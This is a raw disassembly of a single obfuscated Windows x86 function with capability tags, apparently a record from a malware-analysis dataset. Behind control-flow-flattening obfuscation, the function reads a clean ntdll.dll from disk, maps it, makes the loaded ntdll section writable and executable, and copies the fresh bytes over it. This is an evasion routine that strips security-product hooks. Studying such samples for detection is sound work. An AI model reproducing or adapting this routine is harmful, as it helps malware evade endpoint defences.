Function at 0x40df90
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x7c
mov eax, dword [0x481080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x6c], 0x28e2b698
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x70], eax
sub eax, 0x8016cfd1
je 0x40ea6c
jmp 0x40dfbf
mov eax, dword [ebp - 0x70]
sub eax, 0x803b9621
je 0x40ec0d
jmp 0x40dfd2
mov eax, dword [ebp - 0x70]
sub eax, 0x80f6458f
je 0x40e51a
jmp 0x40dfe5
mov eax, dword [ebp - 0x70]
sub eax, 0x840a9dfd
je 0x40e59b
jmp 0x40dff8
mov eax, dword [ebp - 0x70]
sub eax, 0x85a26b95
je 0x40e6fe
jmp 0x40e00b
mov eax, dword [ebp - 0x70]
sub eax, 0x8ec31c59
je 0x40ecac
jmp 0x40e01e
mov eax, dword [ebp - 0x70]
sub eax, 0x95c060b5
je 0x40ec19
jmp 0x40e031
mov eax, dword [ebp - 0x70]
sub eax, 0x9759509a
je 0x40edbd
jmp 0x40e044
mov eax, dword [ebp - 0x70]
sub eax, 0x9a4a140c
je 0x40e678
jmp 0x40e057
mov eax, dword [ebp - 0x70]
sub eax, 0x9ca2a378
je 0x40eb5e
jmp 0x40e06a
mov eax, dword [ebp - 0x70]
sub eax, 0x9dd7469f
je 0x40ec8a
jmp 0x40e07d
mov eax, dword [ebp - 0x70]
sub eax, 0x9f60240b
je 0x40eede
jmp 0x40e090
mov eax, dword [ebp - 0x70]
sub eax, 0xa1471ba3
je 0x40e8fa
jmp 0x40e0a3
mov eax, dword [ebp - 0x70]
sub eax, 0xae607cd9
je 0x40e2dc
jmp 0x40e0b6
mov eax, dword [ebp - 0x70]
sub eax, 0xb271b104
je 0x40e632
jmp 0x40e0c9
mov eax, dword [ebp - 0x70]
sub eax, 0xc746062a
je 0x40e460
jmp 0x40e0dc
mov eax, dword [ebp - 0x70]
sub eax, 0xcd6cdac7
je 0x40eed2
jmp 0x40e0ef
mov eax, dword [ebp - 0x70]
sub eax, 0xde58127d
je 0x40e454
jmp 0x40e102
mov eax, dword [ebp - 0x70]
sub eax, 0xe08c9bee
je 0x40e530
jmp 0x40e115
mov eax, dword [ebp - 0x70]
sub eax, 0xef2e2808
je 0x40e8ee
jmp 0x40e128
mov eax, dword [ebp - 0x70]
sub eax, 0xfafb6413
je 0x40eadf
jmp 0x40e13b
mov eax, dword [ebp - 0x70]
sub eax, 0x240aa8b
je 0x40edab
jmp 0x40e14e
mov eax, dword [ebp - 0x70]
sub eax, 0x51ae048
je 0x40e948
jmp 0x40e161
mov eax, dword [ebp - 0x70]
sub eax, 0x9432303
je 0x40ebac
jmp 0x40e174
mov eax, dword [ebp - 0x70]
sub eax, 0xc729f35
je 0x40e626
jmp 0x40e187
mov eax, dword [ebp - 0x70]
sub eax, 0xd6f4a8e
je 0x40ee19
jmp 0x40e19a
mov eax, dword [ebp - 0x70]
sub eax, 0xed840d6
je 0x40ec6f
jmp 0x40e1ad
mov eax, dword [ebp - 0x70]
sub eax, 0x18c37782
je 0x40e719
jmp 0x40e1c0
mov eax, dword [ebp - 0x70]
sub eax, 0x1abff249
je 0x40e7a4
jmp 0x40e1d3
mov eax, dword [ebp - 0x70]
sub eax, 0x227b19b9
je 0x40ea60
jmp 0x40e1e6
mov eax, dword [ebp - 0x70]
sub eax, 0x28e2b698
je 0x40e296
jmp 0x40e1f9
mov eax, dword [ebp - 0x70]
sub eax, 0x3a9e9cb0
je 0x40ed98
jmp 0x40e20c
mov eax, dword [ebp - 0x70]
sub eax, 0x40c602b9
je 0x40e838
jmp 0x40e21f
mov eax, dword [ebp - 0x70]
sub eax, 0x42afb81b
je 0x40e7f2
jmp 0x40e232
mov eax, dword [ebp - 0x70]
sub eax, 0x4747af3e
je 0x40ec3b
jmp 0x40e245
mov eax, dword [ebp - 0x70]
sub eax, 0x4ac7385a
je 0x40e7bf
jmp 0x40e258
mov eax, dword [ebp - 0x70]
sub eax, 0x609e9480
je 0x40e72d
jmp 0x40e26b
mov eax, dword [ebp - 0x70]
sub eax, 0x76702698
je 0x40eb52
jmp 0x40e27e
mov eax, dword [ebp - 0x70]
sub eax, 0x7c5741a8
je 0x40ec2f
jmp 0x40e291
jmp 0x40eee8
mov eax, dword [0x48258c]
mov ecx, dword [0x482588]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ec31c59
mov ecx, 0xae607cd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
push eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x68], ecx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041fe40
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], edx
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x68]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8ec31c59
mov ecx, 0xde58127d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov dword [ebp - 0x6c], 0xc746062a
jmp 0x40eee8
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0x74d86b65
add ecx, eax
sub ecx, 0x74d86b65
mov eax, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
mov word [eax], 0
mov dword [ebp - 0x6c], 0x80f6458f
jmp 0x40eee8
mov eax, dword [ebp - 0x48]
mov ax, word [eax]
mov word [ebp - 0x36], ax
mov dword [ebp - 0x6c], 0xe08c9bee
jmp 0x40eee8
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3a9e9cb0
mov ecx, 0x840a9dfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov ax, word [ebp - 0x36]
movzx eax, ax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x30], eax
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
mov edx, ecx
add edx, 0xaf53b684
sub edx, 1
sub edx, 0xaf53b684
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3a9e9cb0
mov ecx, 0xc729f35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov dword [ebp - 0x6c], 0xb271b104
jmp 0x40eee8
mov eax, dword [0x48258c]
mov ecx, dword [0x482588]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x240aa8b
mov ecx, 0x9a4a140c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov eax, dword [ebp - 0x30]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x29], al
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
mov edx, ecx
sub edx, 0x811d9341
sub edx, 1
add edx, 0x811d9341
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x240aa8b
mov ecx, 0x85a26b95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov dl, byte [ebp - 0x29]
mov eax, 0x4747af3e
mov ecx, 0x18c37782
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x6c], 0x609e9480
jmp 0x40eee8
mov ecx, dword [ebp - 0x28]
add ecx, 0x8990784
add ecx, 0x18
sub ecx, 0x8990784
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x48]
movzx eax, word [eax]
imul eax, eax, 0x28
sub ecx, 0xe9b741cd
add ecx, eax
add ecx, 0xe9b741cd
mov eax, dword [ebp - 0x44]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ed3d
call fcn.00423740
add esp, 8
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x21], al
mov dword [ebp - 0x6c], 0x1abff249
jmp 0x40eee8
mov dl, byte [ebp - 0x21]
mov eax, 0x4ac7385a
mov ecx, 0x8016cfd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
add eax, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x6c], 0x42afb81b
jmp 0x40eee8
mov eax, dword [0x48258c]
mov ecx, dword [0x482588]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9759509a
mov ecx, 0x40c602b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 0x1c]
sub edx, 0x72b66090
add edx, eax
add edx, 0x72b66090
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x20]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x13], al
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
mov edx, ecx
sub edx, 0x466a04a8
sub edx, 1
add edx, 0x466a04a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9759509a
mov ecx, 0xef2e2808
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov dword [ebp - 0x6c], 0xa1471ba3
jmp 0x40eee8
mov eax, dword [0x48258c]
mov ecx, dword [0x482588]
mov edx, eax
sub edx, 0xe7e40791
sub edx, 1
add edx, 0xe7e40791
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6f4a8e
mov ecx, 0x51ae048
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov eax, dword [ebp - 0x3c]
mov cl, byte [ebp - 0x13]
mov byte [eax], cl
mov eax, dword [ebp - 0x60]
mov edx, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add edx, 0x35d11c97
add edx, eax
sub edx, 0x35d11c97
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add ecx, 0x87dcd33a
add ecx, eax
sub ecx, 0x87dcd33a
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041ffa0
add esp, 0xc
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x60]
mov esi, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add esi, 0x8f2f936f
add esi, eax
sub esi, 0x8f2f936f
mov eax, dword [ebp - 0x40]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x3c]
mov byte [eax], cl
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd6f4a8e
mov ecx, 0x227b19b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov dword [ebp - 0x6c], 0x8016cfd1
jmp 0x40eee8
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
mov edx, ecx
sub edx, 0xc5f5a254
sub edx, 1
add edx, 0xc5f5a254
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd6cdac7
mov ecx, 0xfafb6413
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov ecx, dword [0x48258c]
mov eax, dword [0x482588]
mov edx, ecx
sub edx, 0xfcb8cecb
sub edx, 1
add edx, 0xfcb8cecb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd6cdac7
mov ecx, 0x76702698
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov dword [ebp - 0x6c], 0x9ca2a378
jmp 0x40eee8
mov eax, dword [0x48258c]
mov ecx, dword [0x482588]
mov edx, eax
add edx, 0x1e321b76
sub edx, 1
sub edx, 0x1e321b76
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f60240b
mov ecx, 0x9432303
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov eax, dword [ebp - 0x48]
mov ax, word [eax]
xor ecx, ecx
sub cx, 1
sub ax, cx
mov word [ebp - 0x12], ax
mov eax, dword [0x48258c]
mov ecx, dword [0x482588]
mov edx, eax
add edx, 0x88419d93
sub edx, 1
sub edx, 0x88419d93
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f60240b
mov ecx, 0x803b9621
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x6c], eax
jmp 0x40eee8
mov dword [ebp - 0x6c], 0x95c060b5
jmp 0x40eee8
mov eax, dword [ebp - 0x48]
mov cx, word [ebp - 0x12]
mov word [eax], cx
mov dword [ebp - 0x6c], 0x7c5741a8
jmp 0x40eee8
mov dword [ebp - 0x6c], 0x80f6458f
jmp 0x40eee8
mov eax, dword [ebp - 0x68]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x6c], 0xed840d6
jmp 0x40eee8
mov eax, dword [ebp - 0x10]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6c], 0x9dd7469f
jmp 0x40eee8
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041f130
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
push eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x68], ecx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041fe40
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x84]
mov edx, eax
mov eax, dword [ebp - 0x80]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x68]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ecx]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov dword [ebp - 0x6c], 0xae607cd9
jmp 0x40eee8
mov ax, word [ebp - 0x36]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x6c], 0x840a9dfd
jmp 0x40eee8
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x6c], 0x9a4a140c
jmp 0x40eee8
mov eax, dword [ebp - 0x18]
mov edx, dword [eax]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x20]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x6c], 0x40c602b9
jmp 0x40eee8
mov eax, dword [ebp - 0x3c]
mov cl, byte [ebp - 0x13]
mov byte [eax], cl
mov eax, dword [ebp - 0x60]
mov edx, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub edx, 0x91731217
add edx, eax
add edx, 0x91731217
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add ecx, 0xfc8fbc4c
add ecx, eax
sub ecx, 0xfc8fbc4c
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041ffa0
add esp, 0xc
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x60]
mov esi, dword [eax]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add esi, 0xb6a44d3
add esi, eax
sub esi, 0xb6a44d3
mov eax, dword [ebp - 0x40]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x3c]
mov byte [eax], cl
mov dword [ebp - 0x6c], 0x51ae048
jmp 0x40eee8
mov dword [ebp - 0x6c], 0xfafb6413
jmp 0x40eee8
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x6c], 0x9432303
jmp 0x40dfa9